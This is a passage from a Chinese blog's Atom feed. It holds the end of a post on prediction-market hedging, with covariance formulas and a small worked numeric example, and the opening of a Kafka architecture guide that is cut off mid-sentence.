class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2671em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:1em;"></span><span class="mord text"><span class="mord cjk_fallback">（历史跌破频率）</span></span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9701em;vertical-align:-0.15em;"></span><span class="mord accent"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8201em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span><span style="top:-3.2523em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.25em;"><span class="mord">ˉ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.9185em;vertical-align:-1.2671em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8829em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2671em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:1em;"></span><span class="mord text"><span class="mord cjk_fallback">（平均收益率）</span></span></span></span></span></span></p><p><strong>第五步：计算样本协方差</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1968em;vertical-align:-0.25em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.9468em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord text"><span class="mord">Cov</span></span></span><span style="top:-3.2523em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.25em;"><span class="mord">^</span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.9185em;vertical-align:-1.2671em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8829em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2671em;"><span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1062em;vertical-align:-0.2861em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8201em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span></span><span style="top:-3.2523em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.1389em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0701em;vertical-align:-0.25em;"></span><span class="mord accent"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8201em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span><span style="top:-3.2523em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.25em;"><span class="mord">ˉ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><blockquote><p><strong>实际计算示例</strong>：</p><p>假设我们有5天的数据，目标价格Y = 1800：</p><table><thead><tr><th>日期</th><th><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></th><th><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></th><th><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span></th><th><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0701em;vertical-align:-0.25em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8201em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span></span><span style="top:-3.2523em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.1389em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></th><th><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0701em;vertical-align:-0.25em;"></span><span class="mord accent"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8201em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span><span style="top:-3.2523em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.25em;"><span class="mord">ˉ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span><span class="mclose">)</span></span></span></span></th><th>乘积</th></tr></thead><tbody><tr><td>1</td><td>2000</td><td>0</td><td>-</td><td>-0.4</td><td>-</td><td>-</td></tr><tr><td>2</td><td>1900</td><td>0</td><td>-5.0%</td><td>-0.4</td><td>-3.0%</td><td>1.2%</td></tr><tr><td>3</td><td>1750</td><td>1</td><td>-7.9%</td><td>0.6</td><td>-5.9%</td><td>-3.5%</td></tr><tr><td>4</td><td>1850</td><td>0</td><td>5.7%</td><td>-0.4</td><td>7.7%</td><td>-3.1%</td></tr><tr><td>5</td><td>1820</td><td>0</td><td>-1.6%</td><td>-0.4</td><td>0.4%</td><td>-0.2%</td></tr></tbody></table><p>计算过程：</p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8201em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8201em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span></span><span style="top:-3.2523em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.1389em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">5</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mopen">(</span><span class="mord">0</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.2</span></span></span></span></li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9701em;vertical-align:-0.15em;"></span><span class="mord accent"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8201em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span><span style="top:-3.2523em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.25em;"><span class="mord">ˉ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">4</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mopen">(</span><span class="mord">−</span><span class="mord">5.0%</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.0833em;"></span><span class="mord">7.9%</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.0833em;"></span><span class="mord">5.7%</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1.6%</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">2.0%</span></span></span></span></li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1968em;vertical-align:-0.25em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.9468em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord text"><span class="mord">Cov</span></span></span><span style="top:-3.2523em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.25em;"><span class="mord">^</span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">4</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mopen">(</span><span class="mord">1.2%</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.0833em;"></span><span class="mord">3.5%</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.0833em;"></span><span class="mord">3.1%</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0.2%</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">1.4%</span></span></span></span></li></ul><p><strong>解释</strong>：负协方差表明价格下跌时更容易跌破目标价格，符合经济直觉。</p></blockquote><p><strong>历史数据法的局限性</strong>：</p><ol><li><strong>数据稀缺性</strong>：很少有完全相同的预测市场历史数据</li><li><strong>结构性变化</strong>：市场环境、参与者结构不断变化</li><li><strong>样本偏差</strong>：历史样本可能不代表未来情况</li><li><strong>事件驱动性</strong>：加密货币价格常受突发事件影响，历史协方差失效</li><li><strong>时间窗口选择</strong>：不同时间窗口会得到截然不同的协方差估计</li></ol>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/defi/prediction-market-hedging-paradox/</id>
    <link href="https://www.blog-blockchain.xyz/defi/prediction-market-hedging-paradox/"/>
    <published>2025-06-30T19:21:20.000Z</published>
    <summary>用投资组合理论构建预测市场对冲策略，却发现一个残酷真相：需要预测能力来构建对冲，但有预测能力就不需要对冲。深度剖析数学模型的局限性。</summary>
    <title>预测市场对冲策略：当数学模型遇上现实的残酷</title>
    <updated>2026-02-19T16:18:24.176Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/categories/developer/"/>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/tags/developer/"/>
    <content>
      <![CDATA[<h2 id="摘要">摘要</h2><p>Apache Kafka是现代分布式架构中的核心消息中间件，以其高吞吐量、低延迟和强一致性著称。本指南从分布式系统基础出发，深入剖析Kafka的技术架构、性能优化原理和生产实践，帮助开发者全面掌握这一关键技术。</p><h2 id="内容概览">内容概览</h2><p><strong>核心架构篇</strong>：分布式存储设计、Topic/Partition模型、副本同步机制、Controller选举原理</p><p><strong>消息流转篇</strong>：Producer发送流程、Consumer消费机制、Offset管理、批处理优化</p><p><strong>可靠性保障篇</strong>：ISR机制、故障恢复、事务支持、Exactly-Once语义</p><p><strong>性能优化篇</strong>：零拷贝技术、压缩算法、网络优化、JVM调优</p><p><strong>运维实践篇</strong>：集群部署、监控告警、容量规划、故障排查</p><h2 id="技术背景">技术背景</h2><p>在微服务和云原生架构的推动下，分布式消息系统已成为现代应用架构的重要基石。Kafka凭借其独特的设计理念——基于磁盘的顺序写入、分区并行处理、零拷贝网络传输等技术，实现了传统消息队列难以企及的性能表现。</p><p>本指南将带您深入理解这些设计决策背后的技术原理，掌握Kafka在大规模生产环境中的最佳实践。</p><h2 id="核心术语对照">核心术语对照</h2><p>为确保阅读的一致性，本文统一使用以下术语：</p><ul><li><strong>Broker（代理节点）</strong>：Kafka集群中的服务器节点</li><li><strong>Consumer Group（消费者组）</strong>：共同消费Topic的Consumer集合</li><li><strong>Partitioner（分区器）</strong>：决定消息发送到哪个分区的组件</li><li><strong>ISR（In-Sync Replicas）</strong>：与Leader保持同步的副本集合</li><li><strong>acks确认机制</strong>：Producer的消息确认级别配置</li><li><strong>sendfile零拷贝</strong>：Linux内核提供的高效文件传输技术</li><li><strong>Offset（偏移量）</strong>：消息在分区中的位置标识</li></ul><hr><h2 id="第一章：分布式消息系统基础">第一章：分布式消息系统基础</h2><h3 id="1-1-消息队列在分布式架构中的作用">1.1 消息队列在分布式架构中的作用</h3><p>在微服务架构中，服务间通信是核心问题。我们以用户注册场景为例分析传统同步RPC调用的问题。</p><p><strong>用户注册的业务流程</strong>：</p><ol><li>验证用户信息</li><li>创建用户账户</li><li>发送欢迎邮件</li><li>创建默认设置</li><li>记录注册统计</li></ol><p><strong>传统同步调用方式</strong>：</p><pre><code class="highlight mermaid">sequenceDiagram    participant Client as 客户端    participant User as 用户服务    participant Email as 邮件服务    participant Setting as 设置服务    participant Stat as 统计服务    Client-&gt;&gt;User: 注册请求    User-&gt;&gt;User: 1. 验证并创建用户    User-&gt;&gt;Email: 2. 同步调用发送邮件    Email--&gt;&gt;User: 邮件发送结果    User-&gt;&gt;Setting: 3. 同步调用创建设置    Setting--&gt;&gt;User: 设置创建结果    User-&gt;&gt;Stat: 4. 同步调用记录统计    Stat--&gt;&gt;User: 统计记录结果    User-&gt;&gt;Client: 注册完成响应    Note over Client,Stat: 串行执行，总耗时 = 